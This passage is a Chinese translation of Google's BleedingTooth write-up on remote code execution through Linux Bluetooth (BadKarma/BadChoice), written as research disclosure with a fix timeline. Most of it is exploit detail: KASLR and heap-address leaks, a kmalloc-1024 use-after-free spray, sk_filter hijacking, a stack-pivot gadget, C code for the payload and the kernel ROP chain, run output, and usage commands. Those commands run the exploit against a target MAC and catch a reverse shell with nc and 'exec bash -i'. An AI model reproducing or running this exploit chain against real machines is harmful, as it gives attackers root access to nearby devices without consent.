[   58.881785] CR2: 000055f861e4bd20 CR3: 000000024c80a001 CR4: 00000000003606e0
[   58.881790] Call Trace:
[   58.881869] ? __l2cap_chan_add+0x88/0x1c0 [bluetooth]
[   58.881938] l2cap_data_rcv+0x351/0x510 [bluetooth]
[   58.881995] l2cap_data_channel+0x29f/0x470 [bluetooth]
[   58.882054] l2cap_recv_frame+0xe5/0x300 [bluetooth]
[   58.882067] ? __switch_to_asm+0x40/0x70
[   58.882124] l2cap_recv_acldata+0x2d2/0x2e0 [bluetooth]
[   58.882174] hci_rx_work+0x186/0x360 [bluetooth]
[   58.882187] process_one_work+0x1eb/0x3b0
[   58.882197] worker_thread+0x4d/0x400
[   58.882207] kthread+0x104/0x140
[   58.882215] ? process_one_work+0x3b0/0x3b0
[   58.882223] ? kthread_park+0x90/0x90
[   58.882233] ret_from_fork+0x35/0x40

检查受害机器RDI处的内存地址,我们可以看到:

$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff96da38f70300
0xffff96da38f70300: 0xffff96da601e7d00 0xffffffffc0d38760
0xffff96da38f70310: 0xffff96da60de2600 0xffff96da61c13400
0xffff96da38f70320: 0x0000000000000000 0x0000000000000001
0xffff96da38f70330: 0x0000000000000000 0x0000000000000000
0xffff96da38f70340: 0xffff96da38f70340 0xffff96da38f70340
0xffff96da38f70350: 0x0000000000000000 0x0000000000000000
0xffff96da38f70360: 0xffff96da38f70360 0xffff96da38f70360
0xffff96da38f70370: 0x0000000000000000 0x0000000000000000
0xffff96da38f70380: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f70390: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703a0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703b0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703c0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703d0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703e0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f703f0: 0xffffffffffffffff 0xffffffffffffffff
0xffff96da38f70400: 0x4141414141414141 0x4242424242424242
0xffff96da38f70410: 0x4343434343434343 0x4444444444444444
0xffff96da38f70420: 0x4545454545454545 0x4646464646464646
0xffff96da38f70430: 0x4747474747474747 0x4848484848484848

0xffff96da38f70410处的值表示sk_filter()尝试去取消我们喷射在偏移量0x10处的指针,以struct amp_mgr为准,发现指针真的在偏移量0x110处。

泄漏内存布局

现在我们可以调整堆的大小了并且为使用BadKarma攻击做好了准备,可以完全控制sk_filter指针。 但问题是我们应该使用sk_filter指针指向哪里? 为了使该primitive有用,我们必须将其指向一个我们可以控制其内容的内存地址。 这就需要用到BadChoice漏洞了,该漏洞能够泄露内存布局,并且帮助我们实现控制地址已知的内存块的目标。

为了利用未初始化的堆栈变量错误,我们需要先发送一些命令,用一些有趣的数据(如指向堆的指针或与ROP链相关的.text段的指针)填充堆栈帧,然后我们可以发送易受攻击的命令来接收该数据。

通过尝试一些随机的L2CAP命令,我们可以发现:事先不使用任何特殊命令就触发BadChoice漏洞会泄漏指向内核映像的.text段指针。 此外通过发送L2CAP_CONF_RSP并尝试提前将A2MP通道重新配置为L2CAP_MODE_ERTM,偏移量为0x110的struct l2cap_chan对象的地址可能会泄漏。 该对象的大小为792个字节,并在kmalloc-1024 slab中分配。

// pahole -E -C l2cap_chan --hex bluetooth.ko
struct l2cap_chan {
...
struct delayed_work {
struct work_struct {
/* typedef atomic_long_t -> atomic64_t */ struct {
/* typedef s64 -> __s64 */ long long int counter;       /* 0x110   0x8 */
} data; /* 0x110   0x8 */
...
} work; /* 0x110 0x20 */
...
} chan_timer; /* 0x110 0x58 */
...
/* size: 792, cachelines: 13, members: 87 */
/* sum members: 774, holes: 9, sum holes: 18 */
/* paddings: 4, sum paddings: 16 */
/* last cacheline: 24 bytes */
};

事实证明该对象属于A2MP通道,可以通过销毁该通道将其释放,它使我们可以使用UAF攻击。

考虑以下技术:

1、泄漏struct l2cap_chan对象的地址。

2、通过销毁A2MP通道释放struct l2cap_chan对象。

3、重新连接A2MP通道,并用堆primitive喷射kmalloc-1024 slab。

4、它可能会回收之前struct l2cap_chan对象的地址。

至此原来属于struct l2cap_chan的地址现在可能已经属于我们了。但值得关注的是,当重新连接A2MP通道时,在堆喷射可以回收位置前,新的struct l2cap_chan可能会占用以前的struct l2cap_chan。这种情况下即使另一个连接已经关闭,也可以使用多个连接来继续喷射。

在kmalloc-1024 slab中分配对象比kmalloc-128 slab更复杂,因为:

1、ACL MTU一般小于1024字节(可以用hciconfig进行检查)。

2、A2MP通道的默认MTU是L2CAP_A2MP_DEFAULT_MTU=670字节。

这两个MTU限制都很容易绕过,我们可以通过将请求分成多个L2CAP数据包来绕过ACL MTU,并且可以通过发送一个L2CAP_CONF_MTU响应并将其配置为0xffff字节来绕过A2MP MTU。在这里不知道为什么如果没有发送请求,蓝牙规范没有明确禁止解析配置响应。

下面尝试一下该技术:

$ gcc -o exploit exploit.c -lbluetooth && sudo ./exploit XX:XX:XX:XX:XX:XX
[*] Opening hci device...
[*] Connecting to victim...
[+] HCI handle: 100
[*] Connecting A2MP channel...
[*] Leaking A2MP kernel stack memory...
[+] Kernel address: ffffffffad2001a4
[+] KASLR offset: 2b600000
[*] Preparing to leak l2cap_chan address...
[*] Leaking A2MP kernel stack memory...
[+] l2cap_chan address: ffff98ee5c62fc00
[*] Spraying kmalloc-1024...

这里看一下两个泄漏的指针的最高有效字节是怎么不同的,通过观察较高的字节,我们可以进行有根据的猜测(或者查看Linux文档),来确定它们是否属于段,堆或堆栈。 为了确认我们真的能够回收struct l2cap_chan的地址,我们看一下受害机器的内存:

$ sudo gdb /boot/vmlinuz /proc/kcore
(gdb) x/40gx 0xffff98ee5c62fc00
0xffff98ee5c62fc00: 0x4141414141414141 0x4242424242424242
0xffff98ee5c62fc10: 0x4343434343434343 0x4444444444444444
0xffff98ee5c62fc20: 0x4545454545454545 0x4646464646464646
0xffff98ee5c62fc30: 0x4747474747474747 0x4848484848484848
...
0xffff98ee5c62fd00: 0x6161616161616161 0x6262626262626262
0xffff98ee5c62fd10: 0x6363636363636363 0x6464646464646464
0xffff98ee5c62fd20: 0x6565656565656565 0x6666666666666666
0xffff98ee5c62fd30: 0x6767676767676767 0x6868686868686868

使用喷射模式很有用,这样可以让我们立即识别出内存块,并了解在崩溃时哪些偏移量被取消引用。

整合使用

现在我们有了完成RCE所需的所有primitive:

1、我们可以控制一个其地址已知的存储块(“payload”)。

2、我们可以泄漏一个.text段指针,并构建一个ROP链,将该链存储在payload中。

3、我们可以完全控制sk_filter字段,并将其指向我们的payload。

实现RIP控制

看一下sk_filter_trim_cap(),回顾下为什么要控制sk_filter:

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/filter.c
int sk_filter_trim_cap(struct sock sk, struct sk_buff skb, unsigned int cap)
{
...
rcu_read_lock();
filter = rcu_dereference(sk->sk_filter);
if (filter) {
struct sock *save_sk = skb->sk;
unsigned int pkt_len;

    skb->sk = sk;
    pkt_len = bpf_prog_run_save_cb(filter->prog, skb);
    skb->sk = save_sk;
    err = pkt_len ? pskb_trim(skb, max(cap, pkt_len)) : -EPERM;
}
rcu_read_unlock();

return err;

}
```

因为我们控制了filter的值,我们还可以通过将指针放到在payload中偏移量0x18处来控制filter- > prog。也就是说这是prog的偏移量:

```
// pahole -E -C sk_filter --hex bluetooth.ko
struct sk_filter {
...
struct bpf_prog *         prog;                                                 / 0x18   0x8 /

/* size: 32, cachelines: 1, members: 3 */
/* sum members: 28, holes: 1, sum holes: 4 */
/* forced alignments: 1, forced holes: 1, sum forced holes: 4 */
/* last cacheline: 32 bytes */

} attribute((aligned(8)));
```

这里struct buf_prog的结构为:

```
// pahole -E -C bpf_prog --hex bluetooth.ko
struct bpf_prog {
...
unsigned int               (bpf_func)(const void , const struct bpf_insn ); / 0x30   0x8 /
union {
...
struct bpf_insn {
/
typedef __u8 / unsigned char code;                           / 0x38   0x1 /
/
typedef __u8 / unsigned char dst_reg:4;                     / 0x39: 0 0x1 /
/
typedef __u8 / unsigned char src_reg:4;                     / 0x39:0x4 0x1 /
/
typedef __s16 / short int off;                             / 0x3a   0x2 /
/
typedef __s32 / int       imm;                             / 0x3c   0x4 /
} insnsi[0]; /
0x38     0 /
};                                                                               /
0x38     0 */

/* size: 56, cachelines: 1, members: 20 */
/* sum members: 50, holes: 1, sum holes: 4 */
/* sum bitfield members: 10 bits, bit holes: 1, sum bit holes: 6 bits */
/* last cacheline: 56 bytes */

};
```

然后bpf_prog_run_save_cb()函数将filter-> prog传递给BPF_PROG_RUN():

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
static inline u32 __bpf_prog_run_save_cb(const struct bpf_prog prog,
struct sk_buff
skb)
{
...
res = BPF_PROG_RUN(prog, skb);
...
return res;
}

static inline u32 bpf_prog_run_save_cb(const struct bpf_prog prog,
      struct sk_buff
skb)
{
u32 res;

migrate_disable();
res = __bpf_prog_run_save_cb(prog, skb);
migrate_enable();
return res;

}
```

然后又会以ctx、prog->insnsi和prog->bpf_func()依次作为参数调用bpf_dispatcher_nop_func():

```
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/filter.h
#define __BPF_PROG_RUN(prog, ctx, dfunc) ({        
u32 ret;                        
cant_migrate();                    
if (static_branch_unlikely(&bpf_stats_enabled_key)) {
...
ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func);    
...
} else {                        
ret = dfunc(ctx, (prog)->insnsi, (prog)->bpf_func);    
}                            
ret; })

#define BPF_PROG_RUN(prog, ctx)            
__BPF_PROG_RUN(prog, ctx, bpf_dispatcher_nop_func)
```

最后,调度程序以ctx和prog-> insnsi作为参数调用prog-> bpf_func()处理程序:

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/bpf.h
static __always_inline unsigned int bpf_dispatcher_nop_func(
const void *ctx,
const struct bpf_insn *insnsi,
unsigned int (*bpf_func)(const void *,
const struct bpf_insn *))
{
return bpf_func(ctx, insnsi);
}

现在我们已经有了:

sk->sk_filter->prog->bpf_func(skb, sk->sk_filter->prog->insnsi);

因为我们可以控制sk-> sk_filter,所以我们也可以控制后面的两个取消引用,这能让我们可以通过RSI寄存器(第二个参数)指向我们的有效负载控制RIP寄存器。

内核Stack Pivoting

由于现代CPU有NX保护机制,因此无法直接执行shellcode,但我们可以使用代码重用攻击,如ROP/JOP。为了重用代码,我们需要知道代码的位置,这就是为什么绕过KASLR很重要的原因。可能使用的攻击中,一般ROP比JOP更容易执行,但这需要我们重定向堆栈指针RSP,因此漏洞开发人员通常会执行JOP进行stack pivot,然后完成ROP链。

这个想法是将堆栈指针重定向到由ROP gadgets组成的payload中的伪堆栈,即我们的ROP链。由于我们知道RSI指向我们的payload,因此我们希望将RSI的值移到RSP。然后我们找一下ROP gadgets看看是否可以让我们完成该目的。

我们可以使用以下工具寻找gadgets:

1、extract-vmlinux解压/boot/vmlinuz。

2、ROPgadget从vmlinux中提取gadgets。

寻找像mov rsp,X; ret的gadgets,然后我们发现它们都没有用:

$ cat gadgets.txt | grep ": mov rsp.*ret"
0xffffffff8109410c : mov rsp, qword ptr [rip + 0x15bb0fd] ; pop rbx ; pop rbp ; ret
0xffffffff810940c2 : mov rsp, qword ptr [rsp] ; pop rbp ; ret
0xffffffff8108ef0c : mov rsp, rbp ; pop rbp ; ret

也许会有类似push rsi ; pop rsp ; ret之类的东西?

$ cat gadgets.txt | grep ": push rsi.*pop rsp.*ret"
0xffffffff81567f46 : push rsi ; adc al, 0x57 ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff8156a128 : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop r13 ; pop rbp ; ret
0xffffffff81556cad : push rsi ; add byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81c02ab5 : push rsi ; lcall [rbx + 0x41] ; pop rsp ; pop rbp ; ret
0xffffffff8105e049 : push rsi ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
0xffffffff81993887 : push rsi ; xchg eax, ecx ; lcall [rbx + 0x41] ; pop rsp ; pop r13 ; pop rbp ; ret

上面我们发现有很多可以使用的gadgets。 而且所有gadgets都取消引用RBX + 0x41,这可能是常用指令或指令序列的一部分。 详细地说,由于指令可以从x86中的任意字节开始,因此可以根据起始字节对它们进行不同的解释。 取消引用RBX+0x41可能会阻止我们使用这些gadgets,因为如果RBX在执行bpf_func()时不包含可写的内存地址会在执行ROP链之前就会崩溃。 幸运的是在我们的例子中,RBX指向struct amp_mgr对象,并且如果偏移量0x41处的字节被更改,它就不会崩溃。当选择stack pivot gadget作为bpf_func()的函数指针并触发它时,RSI值将被压入堆栈中,然后从堆栈中弹出,最后分配到RSP。 也就是堆栈指针将指向我们的payload,一旦执行了RET指令,我们的ROP链就会开始。

```
static void build_payload(uint8_t data[0x400]) {
// Fake sk_filter object starting at offset 0x300.
(uint64_t )&data[0x318] = l2cap_chan_addr + 0x320; // prog

// Fake bpf_prog object starting at offset 0x320.
// RBX points to the amp_mgr object.
(uint64_t )&data[0x350] =
    kaslr_offset +
    PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func
(uint64_t )&data[0x358] = 0xDEADBEEF;                   // rbp

// Build kernel ROP chain that executes run_cmd() from kernel/reboot.c.
// Note that when executing the ROP chain, the data below in memory will be
// overwritten. Therefore, the argument should be located after the ROP chain.
build_krop_chain((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0);
strncpy(&data[0x3c0], remote_command, 0x40);
}
```

这样我们终于实现了RCE。 要调试我们的stack pivot并查看是否成功,可以设置(uint64_t )&data [0x360] = 0x41414141并观察到可控的崩溃。

内核ROP链执行

现在,我们可以编写一个较大的ROP链来检索和执行C payload,或者编写一个较小的ROP链来允许我们运行任意命令。 出于概念验证的目的,我们已经满意于反向shell,执行命令对我们来说就足够了。 受文章《CVE-2019-18683:利用V4L2子系统中的Linux内核漏洞》中描述的ROP链得到启发,我们将构建一个使用/bin/bash-c /bin/bash的ROP链来调用run_cmd()生成反向shell,最后调用do_task_dead()停止内核线程。 之后蓝牙将不再起作用。 在更复杂的漏洞利用中,我们将继续执行。

要确定这两种方法的偏移量,我们可以检查受害机器上的实时符号:

$ sudo cat /proc/kallsyms | grep "run_cmd|do_task_dead"
ffffffffab2ce470 t run_cmd
ffffffffab2dc260 T do_task_dead

这里KASLR slide是0x2a200000,可以通过对_TEXT符号进行grep‘ing并减去0xffffffff81000000计算得出:

$ sudo cat /proc/kallsyms | grep "T _text"
ffffffffab200000 T _text

从之前的两个地址中减去slide可以得出:

```

define RUN_CMD 0xffffffff810ce470

define DO_TASK_DEAD 0xffffffff810dc260

```

最后利用ROPgadget可以找到pop rax;ret、pop rdi;ret和jmp rax的gadgets,并根据以下示例构造内核ROP链:

static void build_krop_chain(uint64_t *rop, uint64_t cmd_addr) {
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + RUN_CMD;
*rop++ = kaslr_offset + POP_RDI_RET;
*rop++ = cmd_addr;
*rop++ = kaslr_offset + JMP_RAX;
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + DO_TASK_DEAD;
*rop++ = kaslr_offset + JMP_RAX;
}

该ROP链应放置在伪造的struct bpf_prog的偏移量0x40处,并且cmd_addr应该指向指向内核内存中的bash命令。 在正确的地方放置好所有内容后,我们就可以从受害机器那里获得root shell了。

概念验证(POC)

POC可从https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth获得。 使用以下命令进行编译:

$ gcc -o exploit exploit.c -lbluetooth

并执行为:

$ sudo ./exploit target_mac source_ip source_port

在另一个终端中,运行:

$ nc -lvp 1337
exec bash -i 2>&0 1>&0

如果成功,可以使用以下命令生成Calc:

export XAUTHORITY=/run/user/1000/gdm/Xauthority
export DISPLAY=:0
gnome-calculator

有时受害机器可能会在dmesg中打印Bluetooth: Trailing bytes: 6 in sframe,如果kmalloc-128 slab喷射失败,就会发生这种情况。这种情况下我们需要重复利用。作为BadKarma名称的由来,BadKarma漏洞偶尔会在sk_filter()中提前退出(例如当字段sk_filter为0时),继续执行A2MP接收处理程序并发回A2MP响应数据包。但发生这种情况时,受害机器并没有崩溃,反而是攻击者的计算机崩溃。因为像我们前面所了解的那样,A2MP协议使用的ERTM实现在设计上会引发类型混淆。

时间线

2020-07-06 – Google内部发现BadVibes漏洞

2020-07-20 – Google内部发现BadKarma和BadChoice漏洞

2020-07-22 – Linux Torvalds报告了7天的披露时间表,独立发现了BlueZ的BadVibes漏洞

2020-07-24 –向BlueZ主要开发人员(Intel)报告三个BleedingTooth漏洞的技术细节

2020-07-29 –Intel计划与Google召开2020-07-31会议

2020-07-30 – BadVibes修复程序发布

2020-07-31 –Intel将披露日期定为2020-09-01,此前NDA的披露由Intel协调。给定非安全提交消息,通过kconfig允许知情方禁用BT_HS

2020-08-12 –Intel将披露日期调整为2020-10-13(首次报告起90天)

2020-09-25 –Intel向公共蓝牙下一个分支提交补丁

2020-09-29 –补丁与5.10 linux-next分支合并。

2020-10-13 –公开披露Intel的咨询服务,随后披露Google的咨询服务

2020-10-14 –Intel将建议的固定版本从5.9修正为5.10内核

2020-10-15 –Intel删除了内核升级建议

结论

从零知识开始到发现蓝牙HCI协议中的三个漏洞这条路是奇怪且出乎意料的。当我第一次发现BadVibes漏洞时,我以为该漏洞只能由易受攻击/恶意的蓝牙芯片触发,因为该漏洞太明显了。由于我没有两个带有蓝牙5的可编程设备,因此无法验证是否有可能收到这么大的广告。只有在将Linux蓝牙堆栈与其他实现进行了比较并阅读了规范之后,我才得出结论,我实际上已经发现了我的第一个RCE漏洞。在分析溢出后,很快就知道了还需要一个附加的信息泄漏漏洞。比我想的要快得多,只在两天后我就发现了BadChoice漏洞,在尝试触发它时,我发现了BadKarma漏洞,我最初认为它是一个不好的漏洞,因为它可以防止BadChoice漏洞,但事实证明,它很容易绕过,并且该漏洞实际上是另一个严重性较高的安全漏洞。研究Linux蓝牙堆栈和开发RCE漏洞很具有挑战性,但又令人兴奋,特别是因为这是我第一次审核和调试Linux内核。作为这项工作的结果,我很高兴做出决定:默认情况下禁用蓝牙的高速功能来减少攻击面,这也意味着删除了功能强大的堆primitive。此外,我将从这项研究中获得的知识转化为syzkaller的贡献,从而支持fuzz /dev/vhci设备,并发现了40多个额外的错误。尽管这些大多数错误不太可能被利用,甚至无法远程触发,但它们使工程师能够识别并修复其他弱点(Bluetooth:修复hci_event_packet()中的空指针取消引用;Bluetooth:修复read_adv_mon_features()中的内存泄漏;Bluetooth:修复在hci_extended_inquiry_result_evt()中的读取边界限制),从而为拥有更安全和更稳定的内核做出了贡献。

结语

第一次翻译很多地方可能表述不准确,如果知识上有什么问题和不足的地方还请大佬斧正、见谅,同时也很愿意和对安全有同样兴趣的朋友学习、交流。

参考资料

https://github.com/google/security-research/security/advisories/GHSA-ccx2-w2r4-x649

https://github.com/google/security-research/security/advisories/GHSA-7mh3-gq28-gfrq

https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq

相关推荐: 微信小程序反编译

微信小程序反编译解包 0x01 使用环境工具 nodejs:https://nodejs.org/zh-cn/download/ 反编译脚本wxappUnpacker:https://github.com/xuedingmiaojun/wxappUnpack…